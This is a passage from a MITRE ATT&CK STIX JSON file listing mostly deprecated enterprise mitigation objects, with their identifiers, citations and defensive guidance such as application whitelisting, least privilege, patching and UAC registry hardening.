2015)","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--1022138b-497c-40e6-b53a-13351cbd4090","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"T1044","url":"https://attack.mitre.org/mitigations/T1044","source_name":"mitre-attack"},{"url":"https://github.com/mattifestation/PowerSploit","description":"PowerSploit. (n.d.). Retrieved December 4, 2014.","source_name":"Powersploit"},{"source_name":"Beechey 2010","description":"Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.","url":"http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"},{"url":"https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html","description":"Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.","source_name":"Windows Commands JPCERT"},{"url":"https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm","description":"NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.","source_name":"NSA MS AppLocker"},{"url":"http://seclists.org/fulldisclosure/2015/Dec/34","description":"Kanthak, S. (2015, December 8). Executable installers are vulnerable^WEVIL (case 7): 7z*.exe\tallows remote code execution with escalation of privilege. Retrieved March 10, 2017.","source_name":"Seclists Kanthak 7zip Installer"}],"modified":"2021-08-23T20:25:21.486Z","name":"File System Permissions Weakness Mitigation","description":"Use auditing tools capable of detecting file system permissions abuse opportunities on systems within an enterprise and correct them. Limit privileges of user accounts and groups so that only authorized administrators can interact with service changes and service binary target path locations. Toolkits like the PowerSploit framework contain PowerUp modules that can be used to explore systems for service file system permissions weaknesses. (Citation: Powersploit)\n\nIdentify and block potentially malicious software that may be executed through abuse of file, directory, and service permissions by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown programs. Deny execution from user directories such as file download directories and temp directories where able. (Citation: Seclists Kanthak 7zip Installer)\n\nTurn off UAC's privilege elevation for standard users [HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System]to automatically deny elevation requests, add: \"ConsentPromptBehaviorUser\"=dword:00000000 (Citation: Seclists Kanthak 7zip Installer). Consider enabling installer detection for all users by adding: \"EnableInstallerDetection\"=dword:00000001. This will prompt for a password for installation and also log the attempt. To disable installer detection, instead add: \"EnableInstallerDetection\"=dword:00000000. This may prevent potential elevation of privileges through exploitation during the process of UAC detecting the installer, but will allow the installation process to continue without being logged.","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--10571bf2-8073-4edf-a71c-23bad225532e","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"T1103","url":"https://attack.mitre.org/mitigations/T1103","source_name":"mitre-attack"},{"source_name":"Beechey 2010","description":"Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.","url":"http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"},{"url":"http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html","description":"Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.","source_name":"Windows Commands JPCERT"},{"url":"https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm","description":"NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.","source_name":"NSA MS AppLocker"}],"modified":"2020-01-17T16:45:23.250Z","name":"AppInit DLLs Mitigation","description":"Upgrade to Windows 8 or later and enable secure boot.\n\nIdentify and block potentially malicious software that may be executed through AppInit DLLs by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown DLLs.","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--121b2863-5b97-4538-acb3-f8aae070ec13","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/mitigations/T1159","external_id":"T1159"}],"modified":"2019-07-24T19:47:59.038Z","name":"Launch Agent Mitigation","description":"Restrict user's abilities to create Launch Agents with group policy.","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-10-17T18:54:36.723Z","name":"Network Intrusion Prevention","description":"Use intrusion detection signatures to block traffic at network boundaries.","x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.0","type":"course-of-action","id":"course-of-action--12241367-a8b7-49b4-b86e-2236901ba50c","created":"2019-06-10T20:46:02.263Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/mitigations/M1031","external_id":"M1031"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--12c13879-b7bd-4bc5-8def-aacec386d432","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/mitigations/T1117","external_id":"T1117"},{"url":"https://github.com/iadgov/Secure-Host-Baseline/tree/master/EMET","description":"National Security Agency. (2016, May 4). Secure Host Baseline EMET. Retrieved June 22, 2016.","source_name":"Secure Host Baseline EMET"}],"modified":"2019-07-25T11:32:22.755Z","name":"Regsvr32 Mitigation","description":"Microsoft's Enhanced Mitigation Experience Toolkit (EMET) Attack Surface Reduction (ASR) feature can be used to block regsvr32.exe from being used to bypass whitelisting. (Citation: Secure Host Baseline EMET)","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--12cba7de-0a22-4a56-b51e-c514c67c3b43","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/mitigations/T1147","external_id":"T1147"}],"modified":"2019-07-24T19:36:24.202Z","name":"Hidden Users Mitigation","description":"If the computer is domain joined, then group policy can help restrict the ability to create or hide users. Similarly, preventing the modification of the /Library/Preferences/com.apple.loginwindow Hide500Users value will force all users to be visible.","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--13cad982-35e3-4340-9095-7124b653df4b","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/mitigations/T1213","external_id":"T1213"}],"modified":"2019-07-24T19:06:19.932Z","name":"Data from Information Repositories Mitigation","description":"To mitigate adversary access to information repositories for collection:\n\n* Develop and publish policies that define acceptable information to be stored\n* Appropriate implementation of access control mechanisms that include both authentication and appropriate authorization\n* Enforce the principle of least-privilege\n* Periodic privilege review of accounts\n* Mitigate access to [Valid Accounts](https://attack.mitre.org/techniques/T1078) that may be used to access repositories","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--14b63e6b-7531-4476-9e60-02cc5db48b62","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/mitigations/T1210","external_id":"T1210"},{"source_name":"Ars Technica Pwn2Own 2017 VM Escape","description":"Goodin, D. (2017, March 17). Virtual machine escape fetches $105,000 at Pwn2Own hacking contest - updated. Retrieved March 12, 2018.","url":"https://arstechnica.com/information-technology/2017/03/hack-that-escapes-vm-by-exploiting-edge-browser-fetches-105000-at-pwn2own/"},{"source_name":"TechNet Moving Beyond EMET","description":"Nunez, N. (2017, August 9). Moving Beyond EMET II – Windows Defender Exploit Guard. Retrieved March 12, 2018.","url":"https://blogs.technet.microsoft.com/srd/2017/08/09/moving-beyond-emet-ii-windows-defender-exploit-guard/"},{"source_name":"Wikipedia Control Flow Integrity","description":"Wikipedia. (2018, January 11). Control-flow integrity. Retrieved March 12, 2018.","url":"https://en.wikipedia.org/wiki/Control-flow_integrity"}],"modified":"2019-07-24T19:26:53.547Z","name":"Exploitation of Remote Services Mitigation","description":"Segment networks and systems appropriately to reduce access to critical systems and services to controlled methods. Minimize available services to only those that are necessary. Regularly scan the internal network for available services to identify new and potentially vulnerable services. Minimize permissions and access for service accounts to limit impact of exploitation.\n\nUpdate software regularly by employing patch management for internal enterprise endpoints and servers. Develop a robust cyber threat intelligence capability to determine what types and levels of threat may use software exploits and 0-days against a particular organization. Make it difficult for adversaries to advance their operation through exploitation of undiscovered or unpatched vulnerabilities by using sandboxing, if available. Other types of virtualization and application microsegmentation may also mitigate the impact of some types of exploitation. The risks of additional exploits and weaknesses in implementation may still exist. (Citation: Ars Technica Pwn2Own 2017 VM Escape)\n\nSecurity applications that look for behavior used during exploitation such as Windows Defender Exploit Guard (WDEG) and the Enhanced Mitigation Experience Toolkit (EMET) can be used to mitigate some exploitation behavior. (Citation: TechNet Moving Beyond EMET) Control flow integrity checking is another way to potentially identify and stop a software exploit from occurring. (Citation: Wikipedia Control Flow Integrity) Many of these protections depend on the architecture and target application binary for compatibility and may not work for all software or services targeted.","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--15437c6d-b998-4a36-be41-4ace3d54d266","type":"course-of-action","created":"2019-06-06T16:47:30.700Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"M1016","url":"https://attack.mitre.org/mitigations/M1016"}],"modified":"2020-07-14T22:22:06.356Z","name":"Vulnerability Scanning","description":"Vulnerability scanning is used to find potentially exploitable software vulnerabilities to remediate them.","x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--159b4ee4-8fa1-44a5-b095-2973f3c7e25e","type":"course-of-action","created":"2019-02-15T13:04:25.150Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"T1482","source_name":"mitre-attack","url":"https://attack.mitre.org/mitigations/T1482"},{"source_name":"Harmj0y Domain Trusts","url":"http://www.harmj0y.net/blog/redteaming/a-guide-to-attacking-domain-trusts/","description":"Schroeder, W. (2017, October 30). A Guide to Attacking Domain Trusts. Retrieved February 14, 2019."}],"modified":"2020-09-17T18:26:17.815Z","name":"Domain Trust Discovery Mitigation","description":"Map the trusts within existing domains/forests and keep trust relationships to a minimum. Employ network segmentation for sensitive domains.(Citation: Harmj0y Domain Trusts)","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--160af6af-e733-4b6a-a04a-71c620ac0930","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/mitigations/T1072","external_id":"T1072"}],"modified":"2019-07-25T12:27:40.782Z","name":"Third-party Software Mitigation","description":"Evaluate the security of third-party software that could be used in the enterprise environment. Ensure that access to management systems for third-party systems is limited, monitored, and secure. Have a strict approval policy for use of third-party systems.\n\nGrant access to Third-party systems only to a limited number of authorized administrators. Ensure proper system and access isolation for critical network systems through use of firewalls, account privilege separation, group policy, and multi-factor authentication. Verify that account credentials that may be used to access third-party systems are unique and not used throughout the enterprise network. Ensure that any accounts used by third-party providers to access these systems are traceable to the third-party and are not used throughout the network or used by other third-party providers in the same environment. Ensure third-party systems are regularly patched by users or the provider to prevent potential remote access through [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068). \n\nEnsure there are regular reviews of accounts provisioned to these systems to verify continued business need, and ensure there is governance to trace de-provisioning of access that is no longer required.\n\nWhere the third-party system is used for deployment services, ensure that it can be configured to deploy only signed binaries, then ensure that the trusted signing certificates are not co-located with the third-party system and are instead located on a system that cannot be accessed remotely or to which remote access is tightly controlled.","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--16a8ac85-a06f-460f-ad22-910167bd7332","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"T1009","url":"https://attack.mitre.org/mitigations/T1009","source_name":"mitre-attack"},{"source_name":"Beechey 2010","description":"Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.","url":"http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"},{"url":"https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html","description":"Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.","source_name":"Windows Commands JPCERT"},{"url":"https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm","description":"NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.","source_name":"NSA MS AppLocker"},{"source_name":"Corio 2008","description":"Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.","url":"http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"},{"source_name":"TechNet Applocker vs SRP","description":"Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.","url":"https://technet.microsoft.com/en-us/library/ee791851.aspx"}],"modified":"2021-08-23T20:25:18.699Z","name":"Binary Padding Mitigation","description":"Identify potentially malicious software that may be executed from a padded or otherwise obfuscated binary, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--16dd03c6-0dfb-4d77-89cd-9ff3ee6e533d","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"T1123","url":"https://attack.mitre.org/mitigations/T1123","source_name":"mitre-attack"},{"source_name":"Beechey 2010","description":"Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.","url":"http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"},{"url":"http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html","description":"Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.","source_name":"Windows Commands JPCERT"},{"url":"https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm","description":"NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.","source_name":"NSA MS AppLocker"},{"source_name":"Corio 2008","description":"Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.","url":"http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"},{"source_name":"TechNet Applocker vs SRP","description":"Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.","url":"https://technet.microsoft.com/en-us/library/ee791851.aspx"}],"modified":"2020-01-17T16:45:23.317Z","name":"Audio Capture Mitigation","description":"Mitigating this technique specifically may be difficult as it requires fine-grained API control. Efforts should be focused on preventing unwanted or unknown code from executing on a system.\n\nIdentify and block potentially malicious software that may be used to record audio by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--16f144e4-c780-4ed2-98b4-55d14e2dfa44","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://attack.mitre.org/mitigations/T1033","source_name":"mitre-attack","external_id":"T1033"},{"source_name":"Beechey 2010","description":"Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.","url":"http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"},{"url":"https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html","description":"Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.","source_name":"Windows Commands JPCERT"},{"url":"https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm","description":"NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.","source_name":"NSA MS AppLocker"},{"source_name":"Corio 2008","description":"Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.","url":"http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"},{"source_name":"TechNet Applocker vs SRP","description":"Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.","url":"https://technet.microsoft.com/en-us/library/ee791851.aspx"}],"modified":"2021-08-23T20:25:21.484Z","name":"System Owner/User Discovery Mitigation","description":"Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about system users, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--1881da33-fdf2-4eea-afd0-e04caf9c000f","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"T1120","url":"https://attack.mitre.org/mitigations/T1120","source_name":"mitre-attack"},{"source_name":"Beechey 2010","description":"Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.","url":"http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"},{"url":"http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html","description":"Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.","source_name":"Windows Commands JPCERT"},{"url":"https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm","description":"NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.","source_name":"NSA MS AppLocker"},{"source_name":"Corio 2008","description":"Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.","url":"http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"},{"source_name":"TechNet Applocker vs SRP","description":"Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.","url":"https://technet.microsoft.com/en-us/library/ee791851.aspx"}],"modified":"2020-01-17T16:45:23.899Z","name":"Peripheral Device Discovery Mitigation","description":"Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about peripheral devices, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--19edfa02-1a5f-47e4-ad82-3288f57f64cf","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"T1115","url":"https://attack.mitre.org/mitigations/T1115","source_name":"mitre-attack"},{"source_name":"Beechey 2010","description":"Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.","url":"http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"},{"url":"https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html","description":"Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.","source_name":"Windows Commands JPCERT"},{"url":"https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm","description":"NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.","source_name":"NSA MS AppLocker"},{"source_name":"Corio 2008","description":"Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.","url":"http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"},{"source_name":"TechNet Applocker vs SRP","description":"Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.","url":"https://technet.microsoft.com/en-us/library/ee791851.aspx"}],"modified":"2021-08-23T20:25:19.205Z","name":"Clipboard Data Mitigation","description":"Instead of blocking software based on clipboard capture behavior, identify potentially malicious software that may contain this functionality, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--1a7f5bd3-f6ee-4bd7-b949-2f3632ad6158","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/mitigations/T1144","external_id":"T1144"}],"modified":"2019-07-24T19:32:43.572Z","name":"Gatekeeper Bypass Mitigation","description":"Other tools should be used to supplement Gatekeeper's functionality. Additionally, system settings can prevent applications from running that haven't been downloaded through the Apple Store which can help mitigate some of these issues.","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--1c0711c8-2a73-48a1-893d-ff88bcd23824","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/mitigations/T1029","external_id":"T1029"},{"source_name":"University of Birmingham C2","description":"Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.","url":"https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"}],"modified":"2019-07-25T11:39:28.002Z","name":"Scheduled Transfer Mitigation","description":"Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary command and control infrastructure and malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool command and control signatures over time or construct protocols in such a way to avoid detection by common defensive tools. (Citation: University of Birmingham C2)","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--1c0b39f9-a0c5-42b2-abd8-dc8f1eb74e67","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"T1217","url":"https://attack.mitre.org/mitigations/T1217","source_name":"mitre-attack"},{"source_name":"Beechey 2010","description":"Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.","url":"http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"},{"url":"http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html","description":"Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.","source_name":"Windows Commands JPCERT"},{"url":"https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm","description":"NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.","source_name":"NSA MS AppLocker"},{"source_name":"Corio 2008","description":"Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.","url":"http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"},{"source_name":"TechNet Applocker vs SRP","description":"Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.","url":"https://technet.microsoft.com/en-us/library/ee791851.aspx"}],"modified":"2020-01-17T16:45:23.672Z","name":"Browser Bookmark Discovery Mitigation","description":"File system activity is a common part of an operating system, so it is unlikely that mitigation would be appropriate for this technique. For example, mitigating accesses to browser bookmark files will likely have unintended side effects such as preventing legitimate software from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identification of subsequent malicious behavior. It may still be beneficial to identify and block unnecessary system utilities or potentially malicious software by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) 